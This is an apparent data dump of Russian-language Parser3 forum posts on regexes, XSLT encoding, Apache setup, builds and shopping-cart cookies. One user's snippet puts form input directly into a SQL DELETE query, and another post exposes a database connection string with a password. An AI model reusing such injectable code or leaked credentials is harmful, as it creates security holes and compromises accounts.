6. \"замена новой строки\". по моему нужно [b]обязательно[/b] сделать комментарий о том, что для этих целей лучше не использовать match, т.к. есть replace, который работает в разы быстрее.\
"
"15460","Regular Expressions\
Кто-то сокращает RegEx, а кто-то и RegExp\
Кому как нравится, однако хочу отметить что в книге издательства O'REILLY упоминается именно в короткой форме - RegEx.\
http://www.oreilly.com/catalog/regex/chapter/ch04.html\
Если будет еще пара таких сообщений, тогда поменяю...\
\
PS. А так-то этот ресурс меньше месяца существует..."
"15462","При сохранении результатов XSLT преобразования часть текста выдается в win1251 другая в UTF-16\
\
Можно это вылечить? \
Хочу все в win1251 кодировке\
\
Всем спасибо"
"15463","сделал все, а для пущей важности [b] обозвал псевдо-тегом...\
Иначе не знаю как их еще назвать."
"15465","1. http://spearance.tura.ru/parser3/regexp/?no=2 что-то из примера непонятно, где там перевод строки ;)\
\
2. я писал, что надо убрать ссылки с раздела, если там нету ничего. но я думал, что при добавлении регулярного выряжения посетителем он может выбирать, в какой раздел его добавить (ессно, админ может переместить...)... оказалось, что этого нету (ну... я не смотрел), кроме того... по моему следует дать такую возможность...\
\
3. теги/метатеги - в меню мне кажется тоже надо переименовать...\
\
[блин, тут другнула рука и случайно запостил не дописав...]\
\
4. конечно визуально отделить в примере \"что\" и \"на что\" нужно, но по моему надо это делать не италиком, т.к. возникает ощущение, что это выражение делает (а некоторые именно это и делают).\
\
5. выражения надо как-то подчистить, например тут: ^str.match[\\+\\-][g]{&#177^;} совершено не нужен обратный слеш перед минусом. или тут: ^str.match[([\\w]+)([.,:!\\?]?)\"][gi]{${match.1}${match.2}&raquo^;} - ключ [i]..."
"15473","^if(def $form:photo && def img_nmbr){^form:photo.save[binary;/http/images/task/$img_nmbr/1.jpg]              \
 }                                                                        \
\
 'binary' unknown mode, must be 'append' [parser.runtime]\
\
вроде все слизано с примера на 77 стр(pdf)"
"15476","Люди, уважаемые, помогите пожалуйста. Мне надо сделать менюшку как описано в разделе \"Урок 2. Меню навигации и структура страниц\". Я ее сделала, но как сделать так чтобы подменю соответствующее разделу высвечивалось.\
\
Я понимаю задачка фигня, но у меня ни чего не получается. Направьте хоть на путь истиный, куда думать. Обещаю это мой первый и последний вопрос, я больше не буду. Очень надо. \
\
Спасибо Вам заранее."
"15477","Возможно, что в Apache провайдера в файле httpd.conf нету строчки\
CharsetRecodeMultipartForms Off (по умолчанию ее там нет).\
В этом случае принятое содержимое точно не подвергается искажениям.\
\
"
"15480","Вот это да. А я кстати нашла другой вариант, Вы ни за что не догодаетесь, это только мне в голову могло прийти. Самое интересное, что работает.\
\
Спасибо Agat, ты настоящий друг."
"15482","а каталог-то ваш называется /regexp/!?\
\
Как это понимать? Или вы сами не определились, как сокращать?..:)\
\
P.S. Вот, примерно, месяц назад, пожет меньше, я на ваш ресурс и наткнулся. У вас в каком-то каталоге оглавления нет(не было), и сервер высыпал весь контент на экран - так и нашел."
"15483","Нет, в самом деле. Спасибо.\
Кстати, все работает, так просто. Я правильно понимаю, что для подразделов нужно отдельные sections.cfg'ы заводить и прописывать их auto.p или есть что-то проще?"
"15484","С началом моего изучения Parser у меня возникла проблема. В общем, установил я Парсер в виде модуля к Apache и ,вроде, все работает. В корне создал каталог \"test\", в котором хранятся страницы сайта и настроечные Парсерские файлы для сайта: auto.p и sections.cfg. Проблема в том, что файл index.html, расположенный непосредственно с auto.p и sections.cfg в одном каталоге, отображается правильно, но страницы, расположенные в других дерикториях, к примеру \"test/about/index.html\", не берут информацию из auto.p, расположенном в \"/test/\" и, соответственно, не отображаются правильно. Как быть?"
"15485","копать здесь -> http://www.egoroff.spb.ru/portfolio/15.html"
"15486","Спасибо.\
\
Оно может быть и проще, но для моего понимания пока сложно. Но я обязательно пойму. Спасибо большое. Очень помог."
"15487","уж очень яву изучать не хочется под старость лет"
"15489","Тот parser3.dsw, что лежит в разделе «скачать» нерабочий(попросту почти пустой). Берите из cvs."
"15490","На форуме ничего конкретного не нашел, но проблему решил указанием полного пути от корня диска.\
\
Однако так и осталось загадкой почему не подставляется префикс.\
\
Спасибо за внимание:)"
"15491","U menya takya problema: U menya est' file <!--#include virtual=\"/cgi-bin/vote.cgi?file=03&form\"--> i nado ego perevesti na parser no ya ne mogu ponyat kak eto sdelat s http://www.parser.ru/docs/lang/?filecgiexec.htm. Napishite pozhalusta kak budet <!--#include virtual.. smotretsya. Spasibo "
"15492","кроме того приведенная тобой ссылка совершенно не связана с include, если-бы ты удосужился ввести в строку поиска данного форума или документации \"include\" то нашел-бы более одного упоминания о том, что-же надо написать в код для достижения необходимого результата."
"15493","А я не писал на PHP, только на PERL и то немного, по этому могу не правильно интерпретировать <include virtual>\
но возможно, это делается так:\
^file::cgi[имя файла]\
^file::cgi[имя файла; env_hash]\
^file::cgi[имя файла; env_hash;аргументы]\
т.е. получим объект класса file, содержащий ответ скрипта, а у такого типа объектов, есть поле - .text, содержашее ответ скрипта\
подробнее здесь:http://www.parser.ru/docs/lang/filecgiexec.htm\
"
"15496","Попробуй перед ссылками ставить \"/\" /test/about/, чтобы все пути воспринимались от корня, если не поможет, значит у тебя неверно в Apache задан путь твоего веб-пространства.\
Если не ошибаюсь это должен быть к примеру:\
[code]\
DocumentRoot \"d:/test/\"\
[/code]"
"15497","т.е. ты и здесь не попал :) А вообще простые вставки это простой, но наименее гибкий механизм повторного использования кода."
"15499","В этом отношении, парсер просто находка."
"15500","Это... палками не бейте, пожалуйста."
"15501","<!-- #include - ничего не говорит?"
"15503","Что вы хотите написать. В Parser3 уже встроен пакет классов для разработки web-сайтов. Конечно есть что дополнить и переделать, но что вы конкретно хотите?"
"15509","Безусловно, сам парсер – это уже достояние российского интернета…\
… все же хотелось бы иметь не средство программирования а больше средство конструирования сайтов. Возможно, это покажется слишком излишнем, не реализуемым, и вы будите утверждать, что нельзя написать универсальный пакет для создания сайта. Мол - все сайты такие разные, и т.п. \
Но есть же парсер! На нем можно писать объектно - ориентированный код! И все кто пишет на нем, пишут свои собственные классы(как говорится в доке, напиши класс форум и используй его везде), почему бы не направить всех кто пишет на парсере в единое русло. \
\
Т.е. создать стандарт оформления классов, стандарт оформления  документации, стандарт обращения к базе, или вынести это все в отдельные методы(чтобы было легко переписывать код для разных СУБД) и т.п. Сделать, наконец, для каждого класса методы администрирования, какой-то   метод изменения дизайна. Или, разделить методы администрирования и методы отображения по разным файлам. Т.е. это все нужно хорошо обмозговать, а у вас опыта горазда больше чем у меня.\
\
Иными словами, чтобы можно было обмениваться классами и писать оптимальный код, с точки зрения производительности и функциональности. Ведь, если один и тот же проект пишут несколько человек, то можно получить весьма интересный код. И со временем, можно получить, набор классов на все случаи жизни, имеющий единый интерфейс и легкость настройки. Тем самым это позволит существенно увеличить число пользователей и соответственно разработчиков  (ведь если нужно что то изменить в классе придется учить парсер ;)\
\
Ладно, не судите меня строго, возможно я ошибаюсь.\
"
"15512","Насколько я понимаю\
&#x442;&#x435;&#x441;&#x442; это UTF кодировка.\
\
Нужен простой способ изменить ее на cp1251.\
\
Всем спасибо"
"15514","и мы подскажем, как их проще обработать.\
\
очевидное xdoc::create и потом dom поле достать не подходит?"
"15515","Рекомендую Perl конвертор, коих в нете очень много. Для поиска в google.com попробуйте utf to 1251\
Работают шустро, у меня из той же серии стоит win1251 -> koi8-r"
"15516","Всем спасибо, очень извиняюсь\
\
Симптомы ниже\
\
Генерил html из xml\
\
Причем часть букв остались русскими а чать стали UTF\
\
часть UTF получается при использовании xsl:attribute\
\
Может я чего не так делаю\
\
<META NAME=\"Keywords\">\
	<xsl:attribute name=\"content\">\
	<xsl:value-of select=\"//global_category[attribute::id=$global_category_id]/@keywords\"/>\
	<xsl:value-of select=\"//category[attribute::id=$category_id]/@keywords\"/>\
	<xsl:for-each select=\"//dajdjest\">\
		<xsl:value-of select=\"keywords\"/>\
	</xsl:for-each>\
	</xsl:attribute>\
</META>"
"15517","Как вывести дробное число с десятичной запятой, а не десятичной точкой (по умолчанию)?\
\
Метод format не помогает, судя по документации.\
\
Только с помощью регулярных выражений менять в строке точку на запятую? Но это же громоздко и (относительно) медленно.\
\
"
"15518","заодно подумайте о формате минуса, десятичных разделителях и проч.\
потом подумайте, что в XSLT это уже есть.\
потом подумайте, копировать или нет.\
потом подробно изложите спецификацию описания формата."
"15519","Александр, я не столько предлагаю, сколько хочу решить реальную проблему, которая передо мной стоит. Для этого, кажется, существует этот форум?..\
\
Как выводить десятичную запятую вместо десятичной точки, если XML не используется, а данные берутся из MySQL?"
"15520","а вообще в примерах есть библиотека с методом, который выполняет подобное форматирование.\
\
(lib.p/@number_format[])\
если того функционала много и очень интересует скорость (например, на страничку выводится пара тысяч отформатированых чисел) - то нужно писать что-нить выполняющее не так много действий, но делающее это быстрее.\
\
пользовательские операторы/методы никто не отменял."
"15521","\
\
Извиняюсь за вопрос из серии «опять про вальюъхост», но поиск по форуму ни к чему не привел (последние толковые сообщения датируются прошлым годом, когда люди мучались….и ставили урезанный вариант). \
Я созванивался с тех поддержкой, они сказали, что недели 2 назад, они выложили парсер в /usr/local/bin, и в этом году проблем не было.\
\
Вопрос: можно ли нормально (с XML & MySQL) работать с парсером на вальюхосте? Кто-нибудь пробовал, в последе время, или уже работает успешно?\
А то я не знаю какой хостинг покупать: valuehost.ru hosting.rbc.ru?\
\
Сори за набивший всем оскомину вопрос!\
"
"15522","У меня на валуе работает в связке mysql + xml нормально.\
Про то, что они выложили парсер не знал даже...\
\
А вот hosting.rbc.ru я бы взял, т.к. 3 конторы висящие на мне еще ни разу не имели проблем ни с почтой ни с чем-то еще на hosting.rbc.ru.\
\
А на валуехост бывают таки сбои.\
\
Однако это моё личное субъективное мнение:) "
"15523","Почему выводит из таблички test всe значения name НО КРОМЕ САМОГО ПЕРВОГО. Как не меняй и не редактируй таблицу, всё равно - выводит всё кроме первого. (Пример: в строке name три значения: 1, 2 и 3. А эта форма для удаления показывает только 2 и 3) Хотя в других случаях (формах) запросы выполняются как надо.\
---------\
@body_main[]\
<table border=1>\
<tr><td><br><hr>\
<font size=\"+2\" color=\"#FF0000\">\
<b>УДАЛЕНИЕ:</b></font><br><br>\
<form method=post>\
^connect[$connect_string]{\
$des[^table::sql{select test.name from test}]\
		^des.menu{\
	&nbsp;<input type=\"checkbox\" name=\"kill\" value=\"$des.name\">\
	<font color=\"#CC0000\"><b>$des.name</b></font><br>\
	}}\
<br>\
&nbsp;<input type=\"submit\" value=\"Удалить\" name=\"posted\">\
</form>\
</td></tr></table>\
\
#delete\
^connect[$connect_string]{\
	^void:sql{\
	delete from test \
	where name='$form:kill'\
}\
}"
"15525","To fedich:  а ты на hosting.rbc.ru тоже парсер (+XML & MySQL)пользуеш ?"
"15527","Народ, у кого есть простенький(подсветка+игнор+регистрация) чат на  parser?\
\
Срочно надо"
"15528","На парсере по моему чат без мазы делать, лучше на перле или пхп"
"15529","Нет, там на одном стоит парсер, но мало функционирует))\
\
Кстати, были разговоры,(сейчас не знаю), что на валуе лучше особо с мускулом не перегибать.\
\
Все дело в том, какие у тебя задачи. Моё мнение, что валуехост он больше для домашних задач. Хотя и те сайты, которые висят на rbc немного требуют.\
"
"15530","Благодаря Евгению разжился фотогалереей.\
\
[code]\
@fotos[]\
$fotki[^table::load[fotki.cfg]]\
$var(5)\
<table width=100% cellpadding=4>\
   <tr> \
   ^fotki.menu{\
^if(^fotki.line[] > $var){</tr><tr>^var.inc(5)} \
      <td align=\"middle\">\
          <a href=\"$fotki.uri\" target=_blank><img src=\"$fotki.sm\" alt=\"$fotki.comment\" border=0></a> \
      </td> \
      }\
   </tr> \
</table>\
[/code]\
\
Проблема в том, что все фотографии открываются в новом окне.\
Можно ли сделать так, чтобы открывалось новое окошко на основе шаблона и туда вставлялась бы фотография. Своими мозгами реализовать это не получается."
"15531","Вы предлогаете сделать то, что программисты всего мира пытаются создать на протяжении последних лет давшим скачок развитию интернета.\
\
Все надо стандартизировать с этим я согласен и кто-то скажет что теоритически это реально, но доказательством любой тиории может служить лишь удачное применение на практике.\
\
Вот, то что вы видите сейчас это и есть пакет стандартов для решения задач (языки разметки, таблицы стилей, языки скриптования, базы данных). Парсер также был успешно внедрен в число стандартов. Хотя пока не слишком популярных.\
\
Вы предлогаете писать универсальные движки сайтов.\
Вот мое мнение по этому поводу:\
[b]* Достоинства:[/b]\
1. Скорость\
2. Содействие лени\
\
[b]* Недостатки:[/b]\
1. Реальное пожирание черезмерных ресурсов (если вы создали несколько сайтов с похожой структурой, но отвечающих разным требованиям вы меня поймете)\
2. Время потраченное на изучение чужого скрипта и хуже того, программисты очень привередливые люди и любят читать понятный им код, что приведет к переписыванию чужих классов (что не очень то полезно)\
3. Сожаление от стремления к стандартам. Я слышал что в ближайшем будущем начнут изобретать языки программирования для ламеров, реагирующие на голос, т.е. он говорит среде \"[i]нарисуй мне кубик, 120 пикселей в высоту, 300 пикселей в ширену, произвольной длинны от 30 до 234 пикселей по твоему выбору и создай мне объект с именем кубик1[/i]\" и среда все это сделает. Производительность машин уже позволяет не слишком заботиться о чистоте кода и по этому беспокойство о том, что мы скоро станем не нужны, а сайты начнут делать менеджеры меня беспокоит, особенно учитывая то, что у меня ещё вся жизнь впереди.\
\
\
"
"15532","делаю так:\
\
$index[^table::create{name}]\
$temp[^file:list[/task]]\
^temp.menu{\
^if( -d \"/task/${temp.name}\"){\
   ^index.append{$temp.name}\
 }\
}\
^index.menu{\
$index.name<br>\
}\
"
"15533","list. Получение оглавления каталога \
 \
 \
\
^file:list[путь] \
^file:list[путь;фильтр]    \
\
Формирует таблицу (объект класса table) с одним столбцом name, содержащим файлы и каталоги по указанному пути, имена которых удовлетворяют шаблону, если он задан. \
\
фильтр - регулярное выражение (см. метод match класса string) для обобщения типа запрашиваемых файлов. Без указания фильтра будут выведены все найдены по заданному пути файлы \
\
\
Пример использования \
\
$list[^file:list[/;\\.zip^$]] \
^list.menu{ \
   $list.name<br> \
} \
\
Выведет имена всех архивных файлов с расширением имени .zip, находящихся в корневом каталоге веб-сервера. "
"15535","В Парсере есть все необходимое для грамотоного создания полноприводного чата.\
\
Скажите задачу которую вы считаете не выполнимой?\
"
"15537","[quote]\
Маляр Шлемиэль подрядился красить пунктирные осевые линии на дорогах. В первый день он получил банку краски, поставил её на дорогу, и к концу дня покрасил 300 метров осевой линии. \"Отлично!\" сказал прораб, \"быстро работаешь!\" -- и заплатил ему копейку.\
\
На следующий день Шлемиэль покрасил 150 метров. \"Мда, это, конечно, не так здорово, как вчера, но приемлемо.\" -- сказал прораб и заплатил ему копейку.\
\
На следующий день Шлемиэль покрасил 30 метров. \"Всего лишь 30!\" заорал прораб. \"Это никуда не годится! В первый день было в десять раз больше! В чём дело?\"\
\
\"Ничего не могу поделать,\" -- говорит Шлемиэль. \"Каждый день я ухожу всё дальше и дальше от банки!\"\
[/quote]\
Это к вопросу об эффективности. Взято у Джоэла http://russian.joelonsoftware.com/Articles/BacktoBasics.html если интересно читать далее и думать. Менеджеры никогда не будут создавать хорошие программы, сайты и пр., можешь не сомневаться"
"15538","Такая история\
проверяю на существование каталог, если в имени каталога есть буква р(русская), то говорит, что такого каталого нет! %(\
если написать просто букву р , то каталог отображается.\
\
Что это за фигня? Посмотрите, пожалуйста, может это глюк у меня:\
parser 3.0007(win)\
\
$index[^table::create{name}]\
$temp[^file:list[/task]]\
\
^temp.menu{\
   $temp.name\
^if(-d \"/task/$temp.name/\"){\
   ^index.append{$temp.name}\
 }\
<BR>\
}\
<br>\
^index.sort{$index.name}\
^index.menu{\
$index.name<br>\
}\
\
"
"15539","<a href=\"/browse/?path=$fotki.uri\"><img src=\"\" ...></a>\
В папке /browse/ организуешь свой шаблон и пожалуста выводи себе на здоровье."
"15541","> [i]Менеджеры никогда не будут создавать хорошие программы, сайты и пр., можешь не сомневаться[/i]\
\
От них не требуется создать программу. От них требуется научиться ей пользоваться. Сейчас напишим стандарт, потом расширим упростим по использованию и усложним по возвожностям. Потом менеджер зайдет в оболочку написанную каким-нибудь БГ, внимательно прочитает документацию и приступит сделает себе сайт за 5 минут. К примеру можно взять шаблоны народа.ру, - вот только не надо на меня ругаться.\
\
Прогресс, прогресс.\
Ты видел Windows 2.0?\
а Прогресс, все быстрее и быстрее."
"15542","\"Каталог\" пишется через букву \"а\", а \"отношение\" - через \"о\".\
А \"директория\" пишется вот так.\
И не говорите, что это опечатки."
"15547","ну да ладно. narod.ru - нормально, я сам с него начинал, и ничего плохого тут нет."
"15548","для удобства макинтошников при работе с файлами эта буква заменяется на английскую 'p'. при этом, увы, не делается различия чтение/запись.\
\
не уверен, что это стоит считать проблемой: в url русские буквы в виде %HH крайне ужасны, так что иметь файлы/каталоги с русскими буквами неудобно.\
\
если же [b]очень[/b] хочется, то можно: при получении файла от посетителя parser успешно подставит правильную букву, и потом с ней правильно работает.\
\
диагноз: использование русских букв в именах файлов создаёт больше проблем, чем решает."
"15550","я помню, что у меня в школьные годы в пору QBasic, там тоже были проблемы с русской буквой [b]р[/b].\
\
Почему с ней беды-то?"
"15551","с виндовой share у них не открываются файлы/каталоги с русской буквой «р» в имени.\
\
причём проблема длится давно, на всех версиях os.\
макинтошников много."
"15552","Я отказался от использования русских букв на сайте, но мне нужно (к моему большому сожалению) сделать фичу, чтобы можно было кидать файлы *.txt в директории и строить из них древовидную структуру,  это на сайте не будет использоваться (все данные потом в базу будут отсылаться). Как сделать? Т.е. от директорий с русскими имена я не могу отказаться %(\
\
Какие еще буквы из русского языка так себя ведут?\
"
"15553","добавьте в начало вашего своего регулярного выражения\
[code]\
(?i)\
[/code]\
оно будет insensitive.\
\
[code]\
INTERNAL OPTION SETTING\
     The settings of PCRE_CASELESS, PCRE_MULTILINE,  PCRE_DOTALL,\
     and  PCRE_EXTENDED can be changed from within the pattern by\
     a sequence of Perl option letters enclosed between \"(?\"  and\
     \")\". The option letters are\
\
       i  for PCRE_CASELESS\
       m  for PCRE_MULTILINE\
       s  for PCRE_DOTALL\
       x  for PCRE_EXTENDED\
\
     For example, (?im) sets caseless, multiline matching. It  is\
     also possible to unset these options by preceding the letter\
     with a hyphen, and a combined setting and unsetting such  as\
     (?im-sx),  which sets PCRE_CASELESS and PCRE_MULTILINE while\
     unsetting PCRE_DOTALL and PCRE_EXTENDED, is also  permitted.\
     If  a  letter  appears both before and after the hyphen, the\
     option is unset.\
\
     The scope of these option changes depends on  where  in  the\
     pattern  the  setting  occurs. For settings that are outside\
     any subpattern (defined below), the effect is the same as if\
     the  options were set or unset at the start of matching. The\
     following patterns all behave in exactly the same way:\
\
       (?i)abc\
       a(?i)bc\
       ab(?i)c\
       abc(?i)\
\
     which in turn is the same as compiling the pattern abc  with\
     PCRE_CASELESS  set.   In  other words, such \"top level\" set-\
     tings apply to the whole pattern  (unless  there  are  other\
     changes  inside subpatterns). If there is more than one set-\
     ting of the same option at top level, the rightmost  setting\
     is used.\
\
     If an option change occurs inside a subpattern,  the  effect\
     is  different.  This is a change of behaviour in Perl 5.005.\
     An option change inside a subpattern affects only that  part\
     of the subpattern that follows it, so\
\
       (a(?i)b)c\
\
     matches  abc  and  aBc  and  no  other   strings   (assuming\
     PCRE_CASELESS  is  not used).  By this means, options can be\
     made to have different settings in different  parts  of  the\
     pattern.  Any  changes  made  in one alternative do carry on\
     into subsequent branches within  the  same  subpattern.  For\
     example,\
\
       (a(?i)b|c)\
\
     matches \"ab\", \"aB\", \"c\", and \"C\", even though when  matching\
     \"C\" the first branch is abandoned before the option setting.\
     This is because the effects of  option  settings  happen  at\
     compile  time. There would be some very weird behaviour oth-\
     erwise.\
\
     The PCRE-specific options PCRE_UNGREEDY and  PCRE_EXTRA  can\
     be changed in the same way as the Perl-compatible options by\
     using the characters U and X  respectively.  The  (?X)  flag\
     setting  is  special in that it must always occur earlier in\
     the pattern than any of the additional features it turns on,\
     even when it is at top level. It is best put at the start.\
\
[/code]\
http://www.pcre.org/man.txt"
"15555","он создаст всё правильно"
"15557","Кто сталкивался с такой задачей поделитесь советами. У меня мысли такие: сохранять в cookie (на текущую сессию)количество и ID продукта добавленного в корзину. При просмотре корзины покупателем будут считываться все cookie и формироваться состояние корзины. При удаление какого либо товара из корзины будет удаляться определенный cookie."
"15558","А если перед проверкой заменять 'p' русскую на 'p' англ., возможны ли грабли?"
"15559","Пробую делать вызов\
[code]\
$crypted[^math:crypt[$password;^$apr1^$]]\
[/code]\
и получаю жесточайший отлуп от парсера.\
Вроде бы на \"встроенный\" MD5 (начало $salt беру $apr1$, как в доке сказано). Хотя парсер, по-видимому, и до обработки метода криптования не доходит.\
\
Что я еще не понял в документации и настройке в данной ситуации?"
"15560","если каталоги/файлы создаёт/пишет parser, то он сам разберётся с этими мелочами.\
\
что вас в этой схеме не устраивает?"
"15563","Parser/3.0b\
Пробую тестировать на WinXP - работает\
а вот на RedHat 7.3 - ругает"
"15564","Все! решил проблему заменой парсера этой версии на другую (до кучи с поддержкой XML)"
"15565","Мне кажется (точно не помню) что количество и размер куки всё-таки как-то органичены... Поэтому сделал так:\
\
- в БД табличка orders\
- При добавлении заказа в корзину смотрим, есть ли у человечка cookie содержащий order_id, Если есть, то добавляем в таблицу orders новый товар с этим order_id. Если нет, то добавляем товар, потом смотрим last_insert_id(), ставим его в качестве order_id только что добавленному товару, и записывае пользователю этот номер в куку.\
- При окончательном расчете заказа можно, но не обязательно перенести полную информацию о заказе в другую таблицу, а из таблицы orders почистить всё, что с данным order_id."
"15567","возможно, проблема во мне, но я пока не понял, что вас беспокоит"
"15568","Собирается нормально всё кроме модуля к Apache, сообщений об ошибках писать не буду, ибо много их.\
\
Размер файла получается меньше, для версии 3.0007 с XML - 304(или 308) Кб вместо 348, если собирать VC++ 6.0. Однако, полученный бинарик не будет работать на машине, на которой нет библиотеки [b]msvcr70.dll[/b] Если это та же самая машина на которой он собирался, все будет ОК, если нет, то может понадобиться скопировать этот файл на неё, например положить рядом с парсером. Весит от немного 336 Кб.\
\
Последняя HEAD версия (качал позавчера) не собирается с помощью VS 6.0 если включена поддержка XML пишет что отсутствуют файлы библиотек XML в модуле win32xml, но с VS .NET собирается на ура.\
\
В текущей HEAD версии для win32 работает (как и говорил ПАФ) rusage, очень полезная штука."
"15569","Чесно говоря ниче не получилось... пробовал и так и сяк. Что именно надо прописать в шаблоне?\
\
Вот содержание на всякий:\
[code]\
id   comment                 uri           sm\
1    Застолье начинается     img/01.jpg    img/s/01.jpg\
[/code]\
"
"15570","Может все-таки по делу?\
Полемика по поводу: \"на чем писать?\"(2Хулио: да, сайт вообще-то для вопросов по технологии PARSER) мне не нужна все равно быстрый чат это C++.\
\
Мне нужен ответ на мой вопрос(вроде, достаточно четкий): есть ли у кого чат на парсере(подсветка+игнор+регистрация)?"
"15571","вы ещё не поняли? нет ни у кого.\
предлагаю: кончать болтать о решениях, и начать делать решения.\
и, если не жалко, делиться с окружающими.\
мы, со своей стороны, выложим ссылки на что пришлёте."
"15572","При входе пользователя на сайт магазина создается сессионная cookie basket=0\
При добавление товара в корзину проверяется basket, если =0, то  basket присваиваем 1 и создаем cookie product_1=номер_продукта и\
col_1=количество_продукта\
\
При добавление N-ного продука basket присваиваем N и создаем cookie product_N=номер_продукта и col_N=количество_продукта.\
\
Соответственно переменная basket имеет значение равное количеству товаров в корзине.\
\
При просмотре корзины считываются все созданные cookie.\
\
"
"15573","скрипт примерно такой:\
[code]\
var openwind;\
function openWin(html, scroller, width, height)\
{\
  if (openwind != null) {openwind.close();}\
  openwind =\
window.open(html,'','resizable=no,menubar=no,status=no,scrollbars='+scroller+',width='+width+',height='+height);\
}\
[/code]\
вызываем:\
[code]\
@fotos[]\
$fotki[^table::load[fotki.cfg]]\
$var(5)\
<table width=100% cellpadding=4>\
   <tr> \
   ^fotki.menu{\
$photo[^image::measure[$fotki.uri]]\
^if(^fotki.line[] > $var){</tr><tr>^var.inc(5)} \
      <td align=\"middle\">\
          <a href=\"javascript: openWin('$fotki.uri','no',$photo.width,$photo.height)^;\"><img src=\"$fotki.sm\" alt=\"$fotki.comment\" border=0></a> \
      </td> \
      }\
   </tr> \
</table>\
[/code]"
"15574","Люди, подскажите каким ftp клиентом лучше пользоваться, как задать 755 права и как копировать файл на сервер в режиме binary.\
Заранее спасибо!!!"
"15575","Я пользуюсь CuteFTP 4.2\
Установка прав - меню Commands - File Action  - CHMOD...\
Закачать в BINARY - меню Transfer - Transfer type - ...\
"
"15577","Прийдется самому дописывать.\
А как соберу всю критику и исправлю - выложу обязательно."
"15578","Да, я до такого догадался.\
Но было бы хорошо иметь такое поведение по default'у, будет меньше потенциальных ошибок в скриптах."
"15579","а точнее 442368 Bytes если CGI+XML\
использовался .NET 2003 Final Beta\
Parser брал из HEAD\
как модуль Apache действительно не компилился ..."
"15580","у меня HEAD версия размером 339 968 байт (CGI+XML) собирал позавчера."
"15581","У меня корзина в куке, в виде XML\
<basket>\
<product id=\"1\">\
 <price>15</price>\
 <type>CD</type>\
 <amount>2</amount>\
</product>\
...\
</basket>\
такой подход позволяет хранить корзину в куке,\
при заказе ложить в базу просто XML, дополняя при необходимости полями (типа статуса заказа и т.д.)\
Даже при изменении цен или наличия товара мы не привязываемся к id самого товара в базе. При выводе истории заказов используем то же отображение.\
\
По статистике юзер кладет 1-2 товара, ограничение 4Кб на куки вполне хватает для обработки даже громадной корзинки."
"15582","совсем не уверен, что это правильно.\
имена файлов в unix: глобально case sensitive.\
\
это исключение: только для apache и только для расширений имён файлов. \
\
а написать можно произвольный regexp."
"15583","[code]\
RewriteEngine on\
RewriteCond   %{HTTP_HOST}                 ^www\\.[^.]+\\.host\\.com$\
RewriteRule   ^(.+)                        %{HTTP_HOST}$1      [C]\
RewriteRule   ^www\\.([^.]+)\\.host\\.com(.*) /home/$1$2\
[/code]\
"
"15584","Пытался узнать советы по организации корзины покупателя в интернет-магазине http://www.parser.ru/forum/?id=15557\
\
Решил попробовать путем который предложил я сам http://www.parser.ru/forum/?id=15572\
\
Все работает нормально, если кол-во товаров в корзине не более 10.\
После этого работает принцип FIFO (первый вошел, первый и вышел)."
"15586","При сборке парсера на sparc-sun-solaris2.7 когда заходит в pcre выдает ошибку:\
\
Making all in pcre\
gmake[3]: Entering directory `/users/staff/rkai/parser_src/parser3/src/lib/pcre'\
/opt/SUNWspro/bin/cc -DHAVE_CONFIG_H -I. -I. -I../../../src/include     -fast -c get.c\
command line: fatal: invalid arg for option M  D: No such file or directory\
cc: acomp failed for get.c\
gmake[3]: *** [get.o] Error 2\
\
Можно ли с этим как-то бороться?\
Заранее благодарен за ответ."
"15587","При попытке подключиться к СУБД MySQL из Парсер (мы очень долго пытались подключиться, уже достали бубен и скоро начнем пляски) выходит ошибка \"$SQL:drivers table must be defined\". \
\
Вроде драйвер MySQL поставлен верно, сам Парсер работает, строка для подключения к СУБД с помощью connect задана вроде верно (эти параметры работают с PHP). Помогите.\
\
Когда-то давно я уже подключался к СУБД MySQL их Парсера. Строка вот: mysql://sandman:tQ9472b@localhost/testDB.\
"
"15588","Прочитал мануалку, FAQ, сообщение в форуме от 11.03.2003 18:55, все делаю точно так же. Загружается просто белая страница.\
Есть одно предположение: сайт делаю на abw-host.com, там в корневом каталоге сначала папка publik_html, именно в нее приходится загружать index.html и .htaccess. Если просто скинуть их в начальную директорию /, то страница не грузится. Может дело в этом?\
Помогите пожалуйста, три дня мучаюсь!!!!"
"15589","В предварительной спецификации \"ключиков\" устанавливаются определённые ограничения на их количество и размер:\
\
1. Клиенты должны иметь возможность поддерживать минимум 300 \"ключиков\".\
Серверы не должны требовать от клиентов хранения большего числа ключиков.\
2. Предельный размер каждого \"ключика\" (размер имени и значения в сумме) не должен превышать четырёх килобайт.\
3. Допускается наличие [i]максимум 20 \"ключиков\"[/i] для одного сервера или домена.\
\
P.S. Здесь \"ключики\" это cookies, ежели что...  :)"
"15590","Что бы определить, добавь, например:\
[code]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
]\
]\
[/code]"
"15592","собсно сабж:( не получается, ткните в доки плиз\
\
особенно не ругайтесь новенький я\
\
спасибо\
"
"15593","Эээ, это что бесплатный хостинг? Ты пытаешься парсером сайт делать?\
Или просто не идет ничего?\
Если парсером, то он его можно ставить? скрипт кидал и все остальное?\
\
черт, одни вопросы..."
"15596","Да нет не то, или я что то не так понимаю\
\
имеется меню вида:\
element1  element2  element3   element4\
\
Надо:\
element1\
element2\
element3\
element4\
"
"15597","[code]\
$emergency[^table::create{id   number \
fire   01 \
police   02 \
ambulance   03 \
gas      04 \
}] \
$fliped[^emergency.flip[]] \
^fliped.save[fliped.txt] \
\
В результате выполнения кода в файл fliped.txt будет сохранена такая таблица: \
\
0  1  2  3 \
 \
fire  police  ambulance  gas \
\
01  02  03  04 \
 \
[/code]"
"15598","это понятно, но он же в файл записывает инфу - ( ^fliped.save[fliped.txt]   ) \
А мне надо меню разместить на сайте"
"15599","это понятно, но он же в файл записывает инфу - ( ^fliped.save[fliped.txt]   ) \
А мне надо меню разместить на сайте\
\
у меня  вот что:\
@design[] \
$sections[^table::load[design.cfg]] \
<table width=\"25%\" border=\"0\"> \
   <tr> \
   ^sections.menu{ \
      <td align=\"left\">\
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td>}\
</tr> \
</table>\
\
parser подгружает разделы из design.cfg\
в котором они tab delimited\
и соответственно выводиться строка - горизонт\
а надо вертикаль:("
"15600","... и </tr> естественно тоже ... Вобще это не к Парсеру относится, а к HTML ..."
"15605","подобный конфигурационный файл использовался очень давно, и сейчас не он подключается парсером, а конфигурационный auto.p, расположеный в одном каталоге с исполняемым файлом.\
\
